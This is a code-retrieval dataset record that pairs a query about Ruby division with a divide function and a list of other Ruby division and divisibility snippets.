"def can_traverse?(user, path)\n return true if user == 'root'\n byme = File.stat(path).uid == -> { Etc.getpwnam(user).uid } && File.stat(path).mode & 64 == 64 # owner has x\n byus = File.stat(path).gid == -> { Etc.getpwnam(user).gid } && File.stat(path).mode & 8 == 8 # group has x\n byall = File.stat(path).mode & 1 == 1 # other has x\n byme || byus || byall\n end",
"def blocked?(path)\n !!blocking_path(path)\n end",
"def chmod mod, path\n add \"chmod #{mod} #{path}\", check_perms(mod, path)\n end",
"def ensure_writeable(context)\n end",
"def readable?(path)\n raise \"`readable?' method does not support Windows systems\" if session.platform == 'windows'\n\n cmd_exec(\"test -r '#{path}' && echo true\").to_s.include? 'true'\n end",
"def file_exactly(path, contents, *extra_args)\n path = File.expand_path(path)\n changed = (File.exist?(path) == false)\n\n if contents.kind_of?(Array)\n changed ||= (File.open(path).readlines.map(&:chomp) != contents)\n else\n changed ||= (File.open(path).read.chomp != contents)\n end\n\n if changed\n backup_file(path)\n puts \"Updating #{path}:\\n #{BOLD}#{contents}#{NORMAL}\"\n File.open(path, 'w', *extra_args) do |f|\n f.puts(contents)\n end\n elsif extra_args.count == 1 && extra_args[0].is_a?(Integer)\n chmod(path, extra_args[0])\n end\n\n @changed ||= changed\n changed\n end",
"def lock_file(file, &_block)\n if ::File.exist?(file)\n ::File.open(file, 'r+') do |f|\n begin\n f.flock ::File::LOCK_EX\n yield if block_given?\n ensure\n f.flock ::File::LOCK_UN\n end\n end\n else\n yield if block_given?\n end\n end",
"def is_writable_directory(directory_path)\n retval = false\n rand_str = \"\"; 16.times{rand_str << (65 + rand(25)).chr}\n file_path = directory_path + \"/\" + rand_str\n session.shell_write(\"echo #{rand_str}XXX#{rand_str} > #{file_path}\\n\"); Rex::sleep(0.1)\n (1..5).each{session.shell_read(); Rex::sleep(0.1)}\n rcv = read_file(file_path)\n vprint_status(\"is_writable_directory:\"+rcv)\n if rcv.include? (rand_str+\"XXX\"+rand_str)\n retval = true\n end\n cmd_exec(\"rm -f #{file_path}\"); Rex::sleep(0.1)\n return retval\n end",
"def io_for(path_or_io, &block)\n raise ArgumentError, \"No path or io provided.\" if path_or_io.nil?\n raise ArgumentError, \"No block given. Cannot yield io stream.\" unless block_given?\n\n if path_or_io.respond_to?(:write)\n # We have an existing open stream...\n block.call(path_or_io)\n else # Otherwise, we assume its a file path...\n file_for(path_or_io, &block)\n end\n end",
"def writeable?(off); Ragweed::Wrap32::writeable? @h, off; end",
"def check_key_permissions(key_path)\n # Windows systems don't have this issue\n return if Util::Platform.windows?\n\n @logger.debug(\"Checking key permissions: #{key_path}\")\n stat = File.stat(key_path)\n\n if stat.owned? && Util::FileMode.from_octal(stat.mode) != \"600\"\n @logger.info(\"Attempting to correct key permissions to 0600\")\n File.chmod(0600, key_path)\n\n stat = File.stat(key_path)\n if Util::FileMode.from_octal(stat.mode) != \"600\"\n raise Errors::SSHKeyBadPermissions, :key_path => key_path\n end\n end\n rescue Errno::EPERM\n # This shouldn't happen since we verified we own the file, but\n # it is possible in theory, so we raise an error.\n raise Errors::SSHKeyBadPermissions, :key_path => key_path\n end",
"def chmod(mode) File.chmod(mode, path) end",
"def chmod(path, mode, options = {})\n paths = glob(path, options).reject{|f| f.include?(\".git\")} # We can probably generalize this later\n changed = false\n\n paths.each do |f|\n old_mode = File.stat(f).mode & 07777\n unless old_mode == mode\n puts \"Changing mode of #{f} from #{old_mode.to_s(8)} to #{mode.to_s(8)}\"\n FileUtils.chmod(mode, f)\n changed = true\n end\n end\n\n @changed ||= changed\n changed\n end",
"def ensure_exists\n create unless Dir.exist? path\n end",
"def changePath(path, &block)\n currPath = Dir.pwd\n begin\n Dir.chdir(path)\n result = block.call\n Dir.chdir(currPath)\n result\n rescue\n Dir.chdir(currPath)\n raise $!\n end\nend",
"def write_content_to_disk(source, path)\n begin\n File.open(path, 'w') { |f| f.write(source)}\n FileUtils.chmod(0700, path)\n rescue => error\n raise(\"Could not write file to disk: #{error.message}\")\n end\n end",
"def writeable?\n return @access_mode == Pho::READ_WRITE\n end",
"def touch\n ::FileUtils.touch(@path)\n end",
"def suspend_file_exists?\n File.file? File.join(path, \"#{@name}.vmem\")\n end"
] |
[
"0.7443799",
"0.7016081",
"0.6727093",
"0.64556354",
"0.6385518",
"0.6381238",
"0.60249645",
"0.5928891",
"0.5914708",
"0.58233756",
"0.5812836",
"0.580924",
"0.5802117",
"0.5715689",
"0.56821775",
"0.56651014",
"0.55578613",
"0.5510112",
"0.5507942",
"0.54917246",
"0.54832274",
"0.54183596",
"0.5400587",
"0.53982836",
"0.5349517",
"0.5344019",
"0.53165185",
"0.5306603",
"0.5300439",
"0.52701044",
"0.526168",
"0.52473956",
"0.5239217",
"0.52268314",
"0.5204614",
"0.5200023",
"0.51982933",
"0.51982933",
"0.5194759",
"0.51558673",
"0.5154639",
"0.5149601",
"0.5140753",
"0.5140753",
"0.5140753",
"0.5130538",
"0.5124514",
"0.5122083",
"0.51175636",
"0.51058435",
"0.5103679",
"0.5100218",
"0.5095792",
"0.50867075",
"0.507555",
"0.5074288",
"0.5070853",
"0.50570035",
"0.5055574",
"0.50523865",
"0.5049096",
"0.50399315",
"0.5031622",
"0.5012382",
"0.49965388",
"0.49888",
"0.49832976",
"0.4983194",
"0.49699008",
"0.49655864",
"0.49646926",
"0.49531782",
"0.4952332",
"0.49509335",
"0.49455804",
"0.4942077",
"0.49304014",
"0.4930234",
"0.49185348",
"0.48988503",
"0.48906872",
"0.4886332",
"0.48817143",
"0.48793802",
"0.48742208",
"0.4870389",
"0.48692662",
"0.48667005",
"0.48552155",
"0.48524964",
"0.4844904",
"0.48363742",
"0.48257792",
"0.4821309",
"0.48187983",
"0.48061046",
"0.4803412",
"0.4802246",
"0.4790382"
] |
0.8143976
|
1
|
storage :fog Override the directory where uploaded files will be stored. This is a sensible default for uploaders that are meant to be mounted:
|
def store_dir
"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def store_dir\n 'file_uploads'\n end",
"def store_dir\n \"uploads\"\n end",
"def store_dir\n # \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n # This works for the file storage as well as Amazon S3 and Rackspace Cloud Files.\n # Define store_dir as nil if you'd like to store files at the root level.\n nil\n end",
"def store_dir\n 'uploads'\n end",
"def store_dir\n base_dir = ENV.fetch('FILE_STORE_DIR', \"uploads\")\n if base_dir != \"uploads\"\n public_uploads = File.join(Rails.root, \"public\", \"uploads\")\n FileUtils.symlink(base_dir, public_uploads) unless File.symlink?(public_uploads)\n base_dir = public_uploads\n end\n \"#{base_dir}/#{Rails.env}/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n if Rails.env == \"production\"\n ENV['CONFIG_FILE_UPLOAD_PATH']\n else\n \"uploads\"\n end\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n path = \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n if Rails.env.staging? or Rails.env.production?\n \"#{APP_CONFIG['deploy_path']}#{APP_CONFIG['seed_storage']}/#{path}\"\n else\n path\n end\n end",
"def store_dir\n \"#{Rails.root}/tmp/upload/\"\n end",
"def store_dir\n \"uploads/photos\"\n end",
"def store_dir\n \"uploads/imports/\"\n end",
"def store_dir\n \"#{Rails.root}/app/files/uploads/#{ENV['PROJECT_ID']}/\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/\"\n end",
"def store_dir\n \"#{Rails.root}/public/uploads/\"\n end",
"def store_dir\n \"uploads/#{Rails.env}/#{model.class.to_s.underscore}/#{mounted_as}/#{model.uid}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n # \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n # OK!\n #{}\"/home/bjarzab/www/pola2019_storage/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n # OK!\n # \"/mnt/cloud_test/files/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n \"#{Rails.application.secrets[:carrierwave_store_dir]}/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n\t\t\"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n\tend",
"def store_dir\n configured_upload_path + \"#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\" \n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{partition_dir(model.id)}/#{model.id}\"\n end",
"def store_dir\n \"system/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"system/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def storage_dir\n File.join(thirdpartydir,\"storage\")\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.attachable_type}/#{model.attachable_id}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\r\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\r\n end",
"def store_dir\r\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\r\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}_#{mounted_as.to_s.pluralize}\"\n end"
] |
[
"0.7506257",
"0.7365645",
"0.73327494",
"0.7332001",
"0.7304018",
"0.72987556",
"0.7277565",
"0.7277565",
"0.7277565",
"0.7269057",
"0.7245158",
"0.7228631",
"0.72257257",
"0.72016567",
"0.7186694",
"0.71786916",
"0.71648866",
"0.71503496",
"0.71503496",
"0.71503496",
"0.71503496",
"0.71503496",
"0.7137277",
"0.7133767",
"0.7132086",
"0.712831",
"0.71164864",
"0.71162236",
"0.71162236",
"0.7114929",
"0.7111266",
"0.71073186",
"0.71017355",
"0.71010625",
"0.71010625",
"0.70729744"
] |
0.0
|
-1
|
to set where we save our image to Image folder
|
def public_id
# return "Image/" + Cloudinary::Utils.random_public_id
"Image/#{model.food_key}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def image_save_path\n @image_save_path\n end",
"def save_path\n @save_path ||= self.class.image_save_path.dup\n end",
"def store_dir\n \"hero_images/#{model.id}\"\n end",
"def store_dir\n \"uploads/screenshots/2014/04/#{model.id}\"\n end",
"def store_dir\r\n \"assets/user/avatar/#{model.id}\"\r\n end",
"def store_dir\n \"uploads/screenshots/#{model.id}\"\n end",
"def store_dir\n \"story_images/#{model.id}\"\n end",
"def store_dir\n # \"images/#{model.class.to_s.underscore}/#{model.team_name}\"\n \"images/product_images/\"\n end",
"def store_dir\n \"photo/#{model.id}\"\n end",
"def toImgDir\n @imgDir = UploadUtils.monthDir( Rails.configuration.img_dir, Rails.configuration.original_dir )\n path = File.join( @imgDir, @original )\n res = UploadUtils.filename( path )\n @imgPath = res['path']\n FileUtils.cp( @uploadPath, @imgPath )\n return report\n end",
"def store_dir\n \"uploads/images\"\n end",
"def picture_save \n \tuploader = ImageUploader.new\n \tuploader.store!(image)\n \timage = uploader.store_dir\n \tsave\n end",
"def store_dir\n \"#{Rails.env}/uploads/user/avatar/#{model.id}\"\n end",
"def images_output_root(path)\n @images_output_root = path\n end",
"def store_dir\n \"uploads/images/spot/#{@@spot_id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore.pluralize}/#{model.image_type.pluralize}/#{model.id}\"\n end",
"def store_dir\n \"system/redactor_assets/article_hero_images/#{model.id}\"\n end",
"def set_path\n self.path = File.join(self.store_dir, self.filename)\n end",
"def store_dir\n # NOTE that we are storing avatars by wca_id. There are two consequences of this:\n # - A user must have a wca_id to have an avatar (see validations in user.rb).\n # - Changing the wca_id for a user is complicated, and not something we\n # are bothering to handle very well.\n \"uploads/#{model.class.to_s.underscore}/avatar/#{model.wca_id}\"\n end",
"def img_dir=(value)\n value += '/' if value != '' and value[-1] != '/'\n @img_dir = value\n end",
"def store_dir\n \"photos/#{model.id}/\"\n end",
"def image_png\r\ndirectory = File.expand_path File.dirname(__FILE__)\r\nspecific_filename = directory + \"/\" + \"Media/shop.png\"\r\nend",
"def store_dir\n 'uploads/images'\n end",
"def image_path\n \"#{PATH}/#{image_filename}\"\n end",
"def store_dir\n \"files/#{model.album.path}\"\n end",
"def store_dir\n 'images/uploads'\n end",
"def store_dir\n \"user_content/avatars/#{model.user_name[0..1]}/#{model.user_name}\"\n end",
"def store_dir\n #'public/upload/images'\n \"uploads/gpx/#{model.id}\"\n end",
"def store_dir\n \"transparent_assets/#{model.id}\"\n end",
"def save_dir(filename)\n @save_save_dir = @dispatch.save_dir\n @dispatch.save_dir = File.dirname(filename)\n end",
"def store_dir\n \"assets/media/#{model.class.to_s.underscore}/#{model.contest_attachment_group_id}/\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def write(dir = self.dir, filename = self.filename)\n FileUtils.mkdir_p(File.join(WRITE_DIR, dir))\n self.image.write(File.join(WRITE_DIR, dir, filename))\n end",
"def image_jpg_path\n \"%s/app/assets/images/game_images/%s.jpg\" %[Rails.root, self.name.dehumanize]\n end",
"def store_dir\n \"uploads/#{model.Mid}\"\n end",
"def image_path\n \"#{@parent_path}output/#{@input_name}/#{@input_name}.png\"\n end",
"def store_dir\n \"uploads/avatars\"\n end",
"def destination_directory\n File.join(config[\"screenshot_directory\"], Time.now.strftime(\"%Y-%m\"))\n end",
"def save_path_with_own_path\n File.join(save_path, path)\n end",
"def store_dir\n \"uploads/creation_doc/#{model.id}\"\n end",
"def save_to_file\n f = File.open(\"#{IMAGE_DATA_DIR}/#{self.id}\",\"w\")\n f.write(self.data)\n f.close\n end",
"def store_dir\n \"uploads/creation_ppt/#{model.id}\"\n end",
"def store_dir\n\t\t\"magic_beans/upload/tmp/#{model.id}\"\n\tend",
"def store_dir\n \"post_images/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"photos\"\n end",
"def store_dir\n \"uploads/#{model.id}\"\n end",
"def store_dir\r\n 'uploads/practice-applications'\r\n end",
"def saving_path\n path = home_path + '/.gitstagram'\n \n Dir.mkdir(path) unless Dir.exists?(path)\n path\n end",
"def image_png_path\n \"%s/app/assets/images/game_images/%s.png\" %[Rails.root, self.name.dehumanize]\n end",
"def store_dir\n 'system/avatars'\n end",
"def set_img\n\n end",
"def store_dir\n \"assets/#{Site.current.key}/uploads/\"\n end",
"def path\n \"#{parent_image.basepath}-#{width}-#{height}-#{x1}-#{x2}-#{y1}-#{y2}#{parent_image.extname}\"\n end",
"def image_jpg\r\n directory = File.expand_path File.dirname(__FILE__)\r\n specific_filename = directory + \"/\" + \"Media/1.jpg\"\r\nend",
"def image_path filename\n File.expand_path \"../resources/#{filename}\", __dir__\nend",
"def save_picture(data)\n File.open('public/images/'+ self.picture,'w') do |f|\n f.write data\n end\n end",
"def store_dir\n \"uploads/photos\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n # assets/images/uploads create home_service/assets/images/uploads dir, not using app/assets/images\n # images/uploads => home_service/images/uploads\n # /app/assets/images => permision denied\n #\"public/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n # uploads/ => public/uploads\n #\"public/uploads/images\"\n # assets/images => homeserver/assets/images\n #\"assets/images/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n \n # this create homeservice/app/assests/images/...\n Rails.root + \"app/assets/images/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def access_dir\n \"/assets/#{model.imageable_type.downcase.pluralize}/\"\n end",
"def save_picture(data)\n File.open('public/images/areas/'+ self.profile_picture,'w') do |f|\n f.write data\n end\n end",
"def store_dir\n \"images/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def path\n \"#{RAILS_ROOT}/photos/#{self.visit.user_id}/#{self.visit_id}\"\n \n# \"#{RAILS_ROOT}/public/images/#{self.class.to_s.underscore.pluralize}\"\n end",
"def save! target=\"./Albums\"\n dirname = File.join target, @name\n FileUtils.mkdir_p dirname\n\n self.photos{|p| p.save! dirname}\n end",
"def store_dir\n sub_dir = model.id % 100 # 100 dirs for all images\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{sub_dir}\"\n end",
"def save(path='result.jpg')\n @canvas.write(path)\n end",
"def store_dir\n \"app_icons/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.attachable_id}\"\n end",
"def store_dir\n if model.is_a?(Asset) && !model.theme_id.blank?\n \"uploads/#{model.class.to_s.underscore}/#{model.theme_id}\"\n else\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end\n end",
"def store_image\n if @file_data\n FileUtils.mkdir_p Img_Store\n File.open(image_filename, 'wb') do |f|\n f.write (@file_data.read)\n end\n @file_data = nil\n end\n end",
"def change_dir_images(folder)\n case folder\n when Symbol\n @default_dir_images = File.join(IMAGES_DIR, folder.to_s)\n when String\n @default_dir_images = File.expand_path(File.join(folder))\n end\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}\"\n end",
"def write( path )\n base_image.write( path )\n end",
"def images_path\n @imags_path ||= File.expand_path 'images/', assets_path\n end",
"def path\n File.join(@sprites.configuration.sprites_path, @path || sprite_file_name)\n end",
"def save\r\n # Draw a frame.\r\n frame = Draw.new\r\n frame.stroke(\"black\")\r\n frame.stroke_width(2)\r\n frame.fill_opacity(0)\r\n frame.rectangle(0, 0, @image.columns-1, @image.rows-1)\r\n frame.draw(@image)\r\n \r\n @image.write(name + '.png')\r\n end",
"def store_dir\n \"uploads/#{DateTime.now.strftime('%Y%m')}/\"\n end",
"def store_dir\n #\"documentos/#{model.document_album.escuela_transporte.razonSocial.gsub(\" \",\"_\").mb_chars.normalize(:kd).gsub(/[^x00-\\x7F]/n, '').to_s.upcase.gsub(/[^a-zA-Z0-9_-]/,\"\")}/#{model.document_album.nombre.upcase}/#{model.nombre}\"\n model.document_path\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def write_out(path = nil)\n return img unless path\n FileUtils.mkdir_p File.dirname(path)\n img.write(path)\n path\n rescue Errno::ENOENT\n puts_and_exit(\"Path not found '#{path}'\")\n end",
"def image\n @path\n end",
"def save_image(url)\n file_name = get_filename(url)\n dir_name = '/vagrant/bookinfo/public/'\n file_path = dir_name + file_name\n\n mechanize = Mechanize.new\n page = mechanize.get(url)\n page.save_as(file_path)\n\n return file_path\n end",
"def store_dir\n if Wangeditor::AssetUploader.save_upload_info?\n \"#{RailsWangeditor.upload_store_dir}/#{model.asset_type.to_s.underscore.gsub(/(wangeditor\\/)|(_uploader)/, '')}/#{model.created_at.strftime(\"%Y%m\")}\"\n else\n \"#{RailsWangeditor.upload_store_dir}/#{self.class.to_s.underscore.gsub(/(wangeditor\\/)|(_uploader)/, '')}/#{Time.now.strftime(\"%Y%m\")}\"\n end\n end",
"def save_photo\n if @photo_data\n directory_name = File.join PHOTO_STORE, self.catalogue.id.to_s\n Dir.mkdir(directory_name) unless File.exists?(directory_name)\n self.image_url = self.id.to_s + @image_extension\n # Write the data out to a file\n name = File.join directory_name, image_url\n File.open(name, 'wb') do |f|\n f.write(@photo_data.read)\n end\n @photo_data = nil\n self.save\n end\n end",
"def store_dir(model)\n File.join Rails.root, \"public\", \"assets\", partition_dir(model)\n end",
"def store_dir\n '%suploads/peoplefinder/%s/%s/%s' % [\n base_upload_dir,\n model.class.to_s.underscore,\n mounted_as_without_legacy_prefix,\n model.id\n ]\n end",
"def store_dir\n type = ActiveSupport::Inflector.underscore(model.class.to_s)\n \"#{HasMedia.directory_path}/#{type}/#{model.sha1}/#{model.id.to_s}\"\n end",
"def type_dir\n Rails.root + \"app/assets/images/#{model.imageable_type.downcase.pluralize}/\"\n end",
"def image_path\n \"/image_store/#{id}.#{extension}\"\n end",
"def store_dir\n format(\n '%suploads/peoplefinder/%s/%s/%s',\n base_upload_dir,\n model.class.to_s.underscore,\n mounted_as_without_legacy_prefix,\n model.id\n )\n end",
"def store_dir\n \"uploads/paper/#{model.paper.id}/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n if model.class.name == 'Monologue::Post'\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n else\n \"uploads/#{model.imageable.class.name}/#{mounted_as}/#{model.id}\"\n end\n end"
] |
[
"0.7597642",
"0.75368065",
"0.68556976",
"0.6808064",
"0.6795669",
"0.6787359",
"0.67507637",
"0.6731905",
"0.6723938",
"0.66670406",
"0.6665487",
"0.6648883",
"0.66332453",
"0.66054326",
"0.65716934",
"0.65621156",
"0.65356296",
"0.6524647",
"0.65201",
"0.6512147",
"0.64696646",
"0.64636374",
"0.64620334",
"0.64408815",
"0.64203984",
"0.6413098",
"0.6409681",
"0.64016056",
"0.6397515",
"0.6385596",
"0.63561374",
"0.6354125",
"0.63443154",
"0.63254386",
"0.6325398",
"0.6263382",
"0.62571716",
"0.62480223",
"0.6247562",
"0.62051666",
"0.6200847",
"0.6182947",
"0.6177516",
"0.61666256",
"0.6166222",
"0.61604667",
"0.61378413",
"0.6131795",
"0.61296004",
"0.6129356",
"0.6125054",
"0.61035496",
"0.60886663",
"0.60809046",
"0.60801643",
"0.60801154",
"0.6076656",
"0.60747737",
"0.60747737",
"0.60747737",
"0.60747737",
"0.60747737",
"0.60747737",
"0.60747737",
"0.60738784",
"0.6071743",
"0.6063909",
"0.60577685",
"0.6035383",
"0.6023815",
"0.60218346",
"0.60216314",
"0.6000917",
"0.60001",
"0.5988077",
"0.59842306",
"0.5983663",
"0.59712017",
"0.5949446",
"0.5949392",
"0.59470415",
"0.59410775",
"0.59327525",
"0.59317064",
"0.5929235",
"0.59176975",
"0.59176975",
"0.59176975",
"0.59128827",
"0.5910548",
"0.5902283",
"0.5897954",
"0.5892189",
"0.5885746",
"0.58814573",
"0.58780247",
"0.5877439",
"0.58724576",
"0.5871458",
"0.5863486",
"0.5861456"
] |
0.0
|
-1
|
remember that with noninteger division that you would need to check two tests, one for integer and one for noninteger
|
def divide(number_1, number_2)
return number_1 / number_2
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def is_divisor?(number, i) \n number % i == 0\nend",
"def can_divide_by?(number)\r\n\treturn false if number.zero?\r\n\treturn true\r\nend",
"def accurate_division(int, int_two)\n int = int.to_f\n int_two = int_two\n q = int / int_two\n return q.round(3)\nend",
"def can_divide_by?(number)\n\treturn false if number.zero? \n\ttrue\nend",
"def divide(x, y)\n if y == 0\n return \"Psst. You can't divide by zero. Please try again.\"\n elsif x.is_a?(Integer) && y.is_a?(Integer) && x % y != 0\n return x.to_f / y\n else\n return x / y\n end\nend",
"def can_divide_by?(number)\n\treturn false if number.zero?\n\ttrue\nend",
"def can_divide_by?(number)\n\treturn false if number.zero?\n\ttrue\nend",
"def division(first_number, second_number, third_number)\n# Conditional that removes divide by zero error\n\t\tif second_number == 0\n\tresult = \"You can't divide by zero\"\nelsif third_number == 0\n\tresult = \"You can't divide by zero\"\nelse\n\t\t\t\tif (first_number == \"\") || (second_number == \"\") || (third_number == \"\")\n\tnil\nelsif (first_number == []) || (second_number == []) || (third_number == [])\n\tnil\nelse\n\tresult = first_number / second_number / third_number\nend\nend\n\tresult\n\nend",
"def divideme(first_number,second_number) # divides the numbers\r\n if second_number.to_i == 0\r\n puts \"Sorry cannot divide by zero\"\r\n else\r\n if first_number.to_i % second_number.to_i == 0\r\n puts (\"#{first_number} / #{second_number} is :\" + (first_number.to_i / second_number.to_i).to_s)\r\n else\r\n puts (\"#{first_number} / #{second_number} is :\" + (first_number.to_f / second_number.to_f).to_s)\r\n end\r\n end\r\nend",
"def can_divide_by?(num)\n\treturn false if number.zero?\n\ttrue\nend",
"def test_10_div_0_is_bad\n\t\tassert_equal(\"can't do that, divide by something else.\", division(10,0))\n\tend",
"def divisible_by?(num, denominator)\n num % denominator == 0\nend",
"def divide(*number)\r\n\r\n test_array = []\r\n\r\n product = 1\r\n\r\n if number.length == 0\r\n\r\n test_array.push(false)\r\n\r\n end\r\n\r\n number.each do |n|\r\n\r\n if (n.class != Fixnum) && (n.class != Float)\r\n\r\n test_array.push(false)\r\n\r\n end\r\n\r\n end\r\n\r\n if test_array.length > 0\r\n\r\n return false\r\n\r\n else\r\n\r\n number.inject do |dividend, divisor|\r\n\r\n if divisor != 0\r\n\r\n (dividend.to_f / divisor.to_f).round(5)\r\n\r\n else\r\n\r\n return false\r\n\r\n end\r\n\r\n end\r\n\r\n end\r\n\r\nend",
"def divides?(a,b)\n return b%a == 0\nend",
"def divide(x, y)\n if x == 0 || y == 0\n return \"We dont do math on zeros\"\n end\n\n x / y\nend",
"def divides_nicely?(divisor, dividend)\n [\n (dividend / divisor) > 0, # Divides at least once\n (dividend % divisor) == 0 # Divides with no remainder\n ].all?\nend",
"def divisable_by_given?(number, given)\n number % given == 0\n end",
"def divide(number1, number2)\n number2.zero? ? 'Erro! Divisão por zero não é possível' : number1 / number2\n end",
"def divide_by_zero(num_2)\n if num_2 == 0 || num_2 == 0.0\n puts \"Sorry, dividing by zero is invalid.\"\n return false\n else\n return true\n end\nend",
"def test_13_multiple_integers_and_floats\r\n\r\n results = divide(284.182, 3.2, 19, 0.01928, 39.2944)\r\n\r\n assert_equal(6.16958, results)\r\n\r\n end",
"def divisible_by number, divisor\n number % divisor == 0\n end",
"def can_be_divided_by(n1, n2, n3)\n number_one_remainder = n1 % n2\n number_two_remainder = n1 % n3\n if number_one_remainder == 0\n puts \"Yes, you can divide by #{n2}\"\n else\n puts \"No, you can't divide by #{n2}\"\n end\n if number_two_remainder == 0\n puts \"Yes, you can divide by #{n3}\"\n else\n puts \"No, you can't divide by #{n3}\"\n end\nend",
"def is_odd_no_modulo?(number)\n float = number / 2.0\n float != float.to_i.to_f \nend",
"def safeDivide( top, bottom )\n if( (top == nil) or ( bottom == nil ) or ( bottom == 0.0 )) then\n return 0.0;\n end\n return top/bottom;\nend",
"def divide(num1, num2)\n num2.to_f / num1.to_f;\nend",
"def division\n\tputs \"which numbers would you like to divide\"\n\tdiv_number1 = gets.chomp.to_f\n\tdiv_number2 = gets.chomp.to_f\n\tif div_number2.to_f == 0\n\t\tputs \"That is not possible, you failed fourth grade math.\"\t\t\n\telse\n\t\tputs div_number1.to_f / div_number2.to_f\n\tend\nend",
"def division (first_number, second_number)\nfirst_number / second_number\nend",
"def divide(one,two)\n\treturn \"I don't think so\" if two ==0\n\tone / two\nend",
"def divisible?(number, divisor)\n number % divisor == 0\nend",
"def divisible_by(number, div_by)\n number % div_by == 0\nend",
"def divisible?(num, divisor)\n num % divisor == 0\nend",
"def divide_integers(dividend, divisor)\n return 1 if dividend == divisor\n \n quotient = 0\n counter = divisor.abs\n until dividend.abs < counter\n quotient += 1\n counter += divisor.abs\n end\n\n if dividend > 0 && divisor > 0 || dividend < 0 && divisor < 0\n quotient\n else\n quotient * -1\n end\nend",
"def is_divisible(n,x,y)\n #divide n by x\n #if that equals 0, try dividing it by y\n #if that also equals 0, then n is divisible by both numbers\n #else, it is not\n if try_with_x(n,x) && try_with_y(n,y)\n true\n else\n false\n end\nend",
"def DISABLED_test_integer_divide_sequence\n assert_tokenises_as '2/2', IntegerToken.new(2), DivideOpToken.instance, IntegerToken.new(2)\n assert_tokenises_as '2/-2', IntegerToken.new(2), DivideOpToken.instance, IntegerToken.new(-2)\n end",
"def number_is_divisible_by?(number, divisor)\n number % divisor == 0\nend",
"def divide(num1, num2)\n if(num2 == 0)\n raise \"can not divide by 0 in this app\"\n end\n num1/num2\nend",
"def divisionm(num_1,num_2)\n return num_1 / num_2\nend",
"def divide (a,b)\n f = a.to_i / b.to_i\n puts \"Division is: #{f}\"\n end",
"def is_integer?(n)\n (n - n.to_i).abs < 0.0000001\nend",
